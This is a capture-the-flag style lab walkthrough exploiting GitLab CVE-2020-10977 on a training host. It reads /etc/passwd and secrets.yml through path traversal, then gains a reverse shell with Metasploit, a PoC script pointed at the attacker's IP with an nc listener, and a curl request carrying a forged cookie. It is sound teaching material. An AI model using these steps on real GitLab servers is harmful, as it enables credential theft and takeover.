In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE (Community Edition/Enterprise Edition) versions 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This path traversal bug leads to the arbitrary file read via the UploadsRewriter and RCE (Remote Command Execution) on the vulnerable server. This vulnerability of GitLab File Read RCE maps to CVE-2020-10977 and critical status since the attacker does not need any special rights in the system.
What is GitLab
GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.
It is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency, and traceability.
It is an open-core company that develops software for the software development lifecycle. It has around 30 million estimated registered users and more than 1 million active license users.
Path traversal is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take complete control of the server.
The actual vulnerability lies in the following UploadsRewriter function of GitLab code
@text.gsub(@pattern) do |markdown| file = find_file(@source_project, $~[:secret], $~[:file]) break markdown unless file.try(:exists?) klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader moved = klass.copy_to(file, target_parent) ... def find_file(project, secret, file) uploader = FileUploader.new(project, secret: secret) uploader.retrieve_from_store!(file) uploader end
UploadsRewriter does not validate the file name, allowing arbitrary files to be copied via directory traversal when moving an issue to a new project.
There is no restriction on what file can be; because of that, path traversal can be handy to copy any file, depending on the file’s permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc.
For the purpose of demonstration, I will be going through the amazing lab provided by Pentester Academy.
Run the server and you will get a link to the lab providing you a GUI instance of Kali Linux as below
The vulnerable GitLab server is running at http://demo.ine.local. So open the browser and navigate to it as below
We have the option to register a new user. So we create a new account with credentials
test123:test1234 as below
We will have our own GitLab projects dashboard as below
Now, we can exploit the vulnerability either using
Metasploit or manually. We will go through both approaches.
Exploiting GitLab File Read RCE using METASPLOIT
Open the terminal and start
msfconsole and search for
gitlab_file as below
exploit/multi/http/gitlab_file_read_rce and show options as below
Set the RHOSTS, USERNAME, and PASSWORD options and check whether the target is vulnerable or not as below
It combines an arbitrary file read to extract the Rails
secret_key_base, and gains remote code execution with a deserialization vulnerability of a signed ‘experimentation_subject_id’ cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later. Its patch came in versions 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on versions 12.8.1 and 12.4.0.
The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.
Since the target GitLab server is vulnerable, exploit it through
exploit command as below
Extract the flag using common Linux commands as below
The shell does not give us the privilege to change the directory. So, list the contents of directories and get the flag using
Exploiting GitLab File Read RCE using MANUAL Approach
We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the
secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed
experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.
First, from the dashboard, create 2 projects (named project 1 & project 2) as below
After creating the project, you will see the following successful screen
Creating Issue & Moving
After creating both projects, go to project 1 and create a new issue from top navigation bar as below
Put anything in the title and the following payload in description to read the /etc/passwd file to check the file read
Submit the issue. From the issue page, move the issue from project 1 to project 2 through move option in bottom right corner as below
Move the project as below
As soon we move the issue, we will be able to download passwd file as below
After downloading, the contents are as below
Now as the file read is working, we craft the following payload to read
secrets.yml file to get
Similar to the above steps, create a new issue in project 1 and put the above payload in the description. Then move the issue to project 2. From there, you will be able to download the
secrets.yml file as below
secret_key_base is there in the downloaded file.
Exploiting through python script
Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won’t be the case. However, many python scripts create the payload for this vulnerability. That payload can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.
You can use this python script for the exploit.
Run the script using the following command
python3 PoC.py http://demo.ine.local 10.10.27.2
Note: 10.10.27.2 is the IP address of the Kali Instance found through
We run the exploit and choose 2 from the options (to get RCE)
As guided by the exploit, we start the nc listener on the port 42069 as below
Now hit ENTER in the exploit window and navigate back to the nc tab to see the receiving connection from target
Exploiting using curl & cookie
If you go back to the exploit tab, it will be showing the
experimentation_subject_id cookie as below
You can gain the reverse shell by using this cookie in the curl command as below
curl -vvv "http://demo.ine.local/users/signin" -b "experimentation_subject_id=COOKIE_VALUE"